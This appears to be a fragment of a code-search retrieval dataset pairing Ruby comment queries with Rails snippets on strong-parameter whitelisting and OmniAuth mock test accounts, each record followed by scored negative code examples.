"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def bb_params
params.require(:bb).permit(:name, :mem_no)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
We use these mock accounts to ensure that the ones which are available in development are valid, to test omniauth actions and verify that a mock account is available for every supported omniauth provider. These must be identical to the ones in /config/environments/development.rb Remember to keep them in sync with development.rb | def mock_auth_accounts
OmniAuth.config.mock_auth[:facebook] =
OmniAuth::AuthHash.new(
provider: 'facebook',
uid: 'facebook-test-uid-1',
info: {
name: 'facebook user',
email: 'user-facebook@example.com',
username: 'user_facebook'
},
credentials: {
token: 'fb_mock_token',
secret: 'fb_mock_secret'
}
)
OmniAuth.config.mock_auth[:google] =
OmniAuth::AuthHash.new(
provider: 'google',
uid: 'google-test-uid-1',
info: {
name: 'google user',
email: 'user-google@example.com',
username: 'user_google'
},
credentials: {
token: 'google_mock_token',
secret: 'google_mock_secret'
}
)
OmniAuth.config.mock_auth[:suse] =
OmniAuth::AuthHash.new(
provider: 'suse',
uid: 'suse-test-uid-1',
info: {
name: 'suse user',
email: 'user-suse@example.com',
username: 'user_suse'
},
credentials: {
token: 'suse_mock_token',
secret: 'suse_mock_secret'
}
)
OmniAuth.config.mock_auth[:github] =
OmniAuth::AuthHash.new(
provider: 'github',
uid: 'github-test-uid-1',
info: {
name: 'github user',
email: 'user-github@example.com',
username: 'user_github'
},
credentials: {
token: 'github_mock_token',
secret: 'github_mock_secret'
}
)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mock_auth\n OmniAuth.config.mock_auth[:facebook] = OmniAuth::AuthHash.new({\n provider: 'facebook',\n uid: '123545',\n person_id: '1',\n credentials: {\n token: 'token',\n expires_at: Time.now + 10000000\n },\n info: {\n first_name: 'first_name',\n last_name: 'last_name'\n }\n })\n end",
"def set_omniauth(opts = {})\n default = {\n :provider => :facebook,\n :uuid => \"1234\",\n :facebook => {\n :email => \"foobar@example.com\",\n :gender => \"Male\",\n :first_name => \"foo\",\n :last_name => \"bar\"\n }\n }\n\n credentials = default.merge(opts)\n provider = credentials[:provider]\n user_hash = credentials[provider]\n\n OmniAuth.config.test_mode = true\n\n OmniAuth.config.mock_auth[provider] = {\n 'provider' => credentials[:provider],\n 'uid' => credentials[:uuid],\n \"extra\" => {\n \"user_hash\" => {\n \"email\" => user_hash[:email],\n \"first_name\" => user_hash[:first_name],\n \"last_name\" => user_hash[:last_name],\n \"gender\" => user_hash[:gender]\n }\n }\n }\nend",
"def create_omniauth(opts = {})\n auth = create :auth\n real_auth = auth.merge(opts)\n provider = real_auth[:provider]\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[provider] = auth\nend",
"def setup\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[:github] = OmniAuth::AuthHash.new({:provider => 'github',:uid => '123545',:info => {:name => 'Satine', :email => 'satine@catworld.com'}})\n end",
"def mock_login\n if Rails.env.development?\n a = Account.find_or_create_by(name: \"development\")\n user = User.find_or_create_by(username: \"luis.perichon\")\n user.current_account_id = a.id\n user.save\n\n sign_in(user)\n end\n end",
"def mock_omniauth(uid=nil, name=\"John Doe\", nickname=\"johndoe\")\n OmniAuth.config.mock_auth[:instagram] = OmniAuth::AuthHash.new({\n provider: \"instagram\",\n uid: uid || SecureRandom.hex,\n credentials: {token: \"auth-token\"},\n info: {image: \"http://example.com/profile.jpg\", name: name, nickname: nickname}\n })\nend",
"def configure_omniauth_mock(cassette = 'github_login')\n OmniAuth.config.test_mode = true\n OmniAuth.config.add_mock(:github, omniauth_hash(cassette))\n end",
"def mock_auth_hash(provider,token=nil,expires_at=nil,simulate_error=nil)\n if simulate_error\n OmniAuth.config.mock_auth[provider] = nil\n else\n token ||= 'mock_token'\n expires_at ||= 20000\n # The mock_auth configuration allows you to set per-provider (or default)\n # authentication hashes to return during integration testing.\n OmniAuth.config.mock_auth[provider] = OmniAuth::AuthHash.new({\n 'provider' => provider.to_s,\n 'uid' => '123545',\n 'info' => {\n 'name' => 'mockuser',\n 'image' => 'mock_user_thumbnail_url',\n 'email' => 'rrphotosoft@gmail.com'\n },\n 'credentials' => {\n 'token' => token,\n 'secret' => 'mock_secret',\n 'expires_at' => expires_at\n }\n })\n end\n end",
"def omniauth_providers\n @omniauth_providers ||= Account.omniauth_providers.map(&:to_s)\n end",
"def test_omniauth_add_on_tests\n run_hoboken(:generate) do\n bin_path = File.expand_path('../../bin/hoboken', __dir__)\n execute(\"(echo 'twitter' && echo '0.0.1') | #{bin_path} add:omniauth\")\n assert_file('test/unit/app_test.rb', <<-CODE\n setup do\n OmniAuth.config.test_mode = true\n end\n\n test 'GET /login' do\n get '/login'\n assert_equal('<a href=\"/auth/twitter\">Login</a>', last_response.body)\n end\n\n test 'GET /auth/twitter/callback' do\n auth_hash = {\n provider: 'twitter',\n uid: '123545',\n info: {\n name: 'John Doe'\n }\n }\n\n OmniAuth.config.mock_auth[:twitter] = auth_hash\n get '/auth/twitter/callback'\n assert_equal(MultiJson.encode(auth_hash), last_response.body)\n end\n\n test 'GET /auth/failure' do\n OmniAuth.config.mock_auth[:twitter] = :invalid_credentials\n get '/auth/failure'\n assert_response :not_authorized\n end\n\n CODE\n )\n end\n end",
"def setup\n # !!!! Once you have enabled test mode, all requests to OmniAuth will be short circuited to use the mock authentication hash.\n # A request to /auth/provider will redirect immediately to /auth/provider/callback !!!!\n OmniAuth.config.test_mode = true\n end",
"def test_bank_acct_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_bank_acct_profile_url)\r\n\r\n end",
"def mock_omniauth(provider, test_mode=true)\n\n # call method with mock values and attributes for given provider\n params_provider = send(\"params_#{provider}\")\n\n # deactivate test_mode\n OmniAuth.config.test_mode = test_mode ? true : false\n\n #deliver omniauth mock credentials\n OmniAuth.config.add_mock(provider.to_sym, params_provider)\n end",
"def setup\n # Once you have enabled test mode, all requests\n # to OmniAuth will be short circuited to use the mock authentication hash.\n # A request to /auth/provider will redirect immediately to /auth/provider/callback.\n OmniAuth.config.test_mode = true\n end",
"def configured_providers\n Rails.configuration.providers.select do |provider|\n Rails.configuration.send(\"omniauth_#{provider}\")\n end\n end",
"def configured_providers\n Rails.configuration.providers.select do |provider|\n Rails.configuration.send(\"omniauth_#{provider}\")\n end\n end",
"def oauth_config_failure(message:)\n OmniAuth.config.mock_auth[:idme] = nil # reset mock \n OmniAuth.config.mock_auth[:idme] = message\nend",
"def test_provider_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_provider_profile_url)\r\n\r\n end",
"def setup\n OmniAuth.config.test_mode = true\n end",
"def setup\n OmniAuth.config.test_mode = true\n end",
"def auth_callback_test\n # render(:json=>request.env['omniauth.auth'].to_json)\n end",
"def set_ommniauth_facebook(email = 'phanha9389facebook@gmail.com')\n OmniAuth.config.mock_auth[:facebook] = auth_hash_facebook(email)\n request.env[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:facebook]\n end",
"def mock_defective_auth_hash\n nil\n end",
"def ensure_mock_enabled\n if Rails.env.production? || !Rails.application.config.azure_auth_mocked\n redirect_to \"/\"\n end\n end",
"def test_bank_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_bank_profile_url)\r\n\r\n end",
"def mock_auth_hash(user)\n return {\n provider: user.oauth_provider,\n uid: user.oauth_uid,\n info: {\n name: user.name,\n email: user.email\n },\n credentials: {\n token: SecureRandom.base64(128),\n refresh_token: SecureRandom.base64(64),\n expires_at: Time.now + 8.hours\n }\n }\n end",
"def mock_auth_hash(user)\n return {\n provider: user.oauth_provider,\n uid: user.oauth_uid,\n info: {\n name: user.name,\n email: user.email\n },\n credentials: {\n token: SecureRandom.base64(128),\n refresh_token: SecureRandom.base64(64),\n expires_at: Time.now + 8.hours\n }\n }\n end",
"def create_user\n OmniAuth.config.mock_auth[:github] = OmniAuth::AuthHash.new({\n \"provider\" => \"github\",\n \"uid\" => \"666\",\n \"credentials\" => {\n \"token\" => \"123123\"},\n \"info\" => {\n \"nickname\" => \"The Bease\",\n \"name\" => \"WilliamShatner\",\n \"email\" => \"LOLCATZ@io.com\",\n },\n \"extra\" => {\n \"raw_info\" => {\n \"avatar_url\" => \"123\",\n \"html_url\" => \"12312\",\n \"hireable\" => \"false\",\n \"followers\" => \"1\",\n \"following\" => \"1\",\n }\n },\n })\n end",
"def set_google_omniauth(email = \"personal@example.com\", opts = {})\n default = {provider: :google_oauth2,\n uuid: \"1234\",\n google_oauth2: {\n email: email,\n gender: \"male\",\n first_name: \"eco\",\n last_name: \"work\",\n name: \"ecowork\",\n locale: \"en\"\n }\n }\n\n credentials = default.merge(opts)\n provider = credentials[:provider]\n user_hash = credentials[provider]\n\n OmniAuth.config.test_mode = true\n\n OmniAuth.config.mock_auth[provider] = OmniAuth::AuthHash.new({\n \"uid\" => credentials[:uuid],\n \"provider\" => credentials[:provider],\n \"info\" => {\n \"email\" => user_hash[:email],\n \"first_name\" => user_hash[:first_name],\n \"last_name\" => user_hash[:last_name],\n \"name\" => user_hash[:name]\n },\n \"extra\" => {\n \"raw_info\" => {\n \"gender\" => user_hash[:gender],\n \"locale\" => user_hash[:locale]\n }\n }\n })\nend",
"def stub_env_for_gds_omniauth(uid, details = {})\n # This a Devise specific thing for functional tests. See https://github.com/plataformatec/devise/issues/closed#issue/608\n request.env[\"devise.mapping\"] = Devise.mappings[:user]\n @stub_omniauth_hash = gds_omniauth_hash_stub(uid, details)\n env = {\n \"omniauth.auth\" => @stub_omniauth_hash,\n }\n @controller.stub(:env).and_return(env)\n end",
"def check_accounts\n\t\t( @participant.facebook_account != nil && @participant.facebook_account != \"\" ) ||\n\t\t( @participant.twitter_account != nil && @participant.twitter_account != \"\" ) ||\n\t\t( @participant.github_account != nil && @participant.github_account != \"\" ) ||\n\t\t( @participant.google_plus_account != nil && @participant.google_plus_account != \"\" )\n\tend",
"def mock_signin\n activate_authlogic\n account = Factory.create :account\n user = Factory.create :user, :account => account\n UserSession.create user\n return user, account\nend",
"def omniauth_setup_google_auth_for(user)\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new(\n provider: \"google_oauth2\",\n uid: user.uid,\n info: { \"email\" => user.email }\n )\n Rails.application.env_config[\"devise.mapping\"] = Devise.mappings[:user]\n Rails.application.env_config[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:google_oauth2]\nend",
"def test_omniauth_add_on_specs\n run_hoboken(:generate, test_framework: 'rspec') do\n bin_path = File.expand_path('../../bin/hoboken', __dir__)\n execute(\"(echo 'twitter' && echo '0.0.1') | #{bin_path} add:omniauth\")\n assert_file(\n 'spec/app_spec.rb',\n <<~CODE\n RSpec.describe 'omniauth', rack: true do\n before { OmniAuth.config.test_mode = true }\n\n describe 'GET /login' do\n before { get '/login' }\n\n it { expect(last_response).to have_http_status(:ok) }\n it { expect(last_response).to have_content_type(:html) }\n\n it 'renders a template with a login link' do\n twitter_link = '<a href=\"/auth/twitter\">Login</a>'\n expect(last_response.body).to include(twitter_link)\n end\n end\n\n describe 'GET /auth/twitter/callback' do\n let(:auth_hash) do\n {\n provider: 'twitter',\n uid: '123545',\n info: {\n name: 'John Doe'\n }\n }\n end\n\n before do\n OmniAuth.config.mock_auth[:twitter] = auth_hash\n get '/auth/twitter/callback'\n end\n\n it { expect(last_response).to have_http_status(:ok) }\n it { expect(last_response).to have_content_type(:json) }\n\n it 'renders the auth hash result' do\n expect(last_response.body).to eq(JSON.generate(auth_hash))\n end\n end\n\n describe 'GET /auth/failure' do\n before do\n OmniAuth.config.mock_auth[:twitter] = :invalid_credentials\n get '/auth/failure'\n end\n\n it { expect(last_response).to have_http_status(:not_authorized) }\n end\n end\n CODE\n )\n end\n end",
"def auth_as_user(user)\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new({\n :provider => 'google_oauth2',\n :uid => user.uid,\n :email => user.email\n })\nend",
"def test_address_auth \n c = customers(:bob)\n assert_equal(addresses(:address1), c.find_address(1))\n assert_equal(addresses(:address2), c.find_address(2))\n assert_nil(c.find_address(3))\n assert_nil(c.find_address(100000))\n end",
"def setup\n # this method gets called before *each* omniauth endpoint call, so try to avoid logging when we're returning from\n # oauth'ing\n unless stored_register_redirect\n reg_redirect = params[:r]\n reg_redirect ||= request.referer if params[:ot] && (params[:ot] == \"far\") # facebook auth referral\n store_register_redirect(reg_redirect)\n end\n\n unless stored_auth_redirect\n auth_redirect = params[:r]\n auth_redirect ||= root_path if params[:state] && (params[:state] == 'w')\n store_auth_redirect(auth_redirect)\n end\n\n remember_remember_me\n remember_signup_flow_scope\n remember_signup_flow_type\n remember_signup_flow_origin_type\n remember_signup_flow_destination\n remember_signup_flow_network\n render :text => \"Setup complete.\", :status => 404\n end",
"def test(config)\n # Simulated credentials to be injected with InjectorMiddleware\n credential_injector_middleware(config, config.x.rails_auth.test_credentials ||= {})\n end",
"def test_accounts\n if test_mode_on?\n @@test_accounts ||= Conf.test.map do |v|\n v.is_a?(Hash) ? v.keys : v\n end.flatten\n end\n @@test_accounts || []\n end",
"def omniauth?\n provider? && uid?\n end",
"def omniauth_credentials\n if omniauth_hash = request.env['omniauth.auth']\n {\n provider: omniauth_hash['provider'],\n uid: omniauth_hash['uid'],\n email: omniauth_hash['info']['email'],\n name: omniauth_hash['info']['name'],\n }\n else\n nil\n end\n end",
"def setup\n case\n when session.delete(:only_dtu)\n request.env['omniauth.strategy'].options[:login_url] = '/login?only=dtu&template=dtu_user'\n when session.delete(:prefer_dtu)\n request.env['omniauth.strategy'].options[:login_url] = '/login?template=dtu_user'\n when session.delete(:public)\n request.env['omniauth.strategy'].options[:login_url] = '/login?template=local_user'\n else\n request.env['omniauth.strategy'].options[:login_url] = '/login'\n end\n\n render :text => \"Omniauth setup phase.\", :status => 404\n end",
"def test_phone_number_profile\r\n\r\n @place_holder.login_and_assert_profile(PropertiesReader.get_phone_number_profile_url)\r\n\r\n end",
"def test_github_profile_exists\n people.each do |name, info|\n github_username = info.fetch(\"github\", false)\n if github_username\n assert_kind_of Sawyer::Resource, octokit.user(github_username), \"#{github_username} is not a real GitHub account\"\n end\n end\n end",
"def create_users_and_sign_in\n OmniAuth.config.mock_auth[:github] = OmniAuth::AuthHash.new({\n \"provider\" => \"github\",\n \"uid\" => \"666\",\n \"credentials\" => {\n \"token\" => \"123123\"},\n \"info\" => {\n \"nickname\" => \"The Bease\",\n \"name\" => \"WilliamShatner\",\n \"email\" => \"LOLCATZ@io.com\",\n },\n \"extra\" => {\n \"raw_info\" => {\n \"avatar_url\" => \"123\",\n \"html_url\" => \"12312\",\n \"hireable\" => \"false\",\n \"followers\" => \"1\",\n \"following\" => \"1\",\n }\n },\n })\n\n user = User.create(name: \"sexykitten123\", description: \"description\")\n user.languages.create(name: \"Ruby\")\n user = User.create(name: \"uglyplatypus321\", description: \"description2\")\n Match.create(user_id: 1, matchee_id: 2)\n Match.create(user_id: 1, matchee_id: 3)\n end",
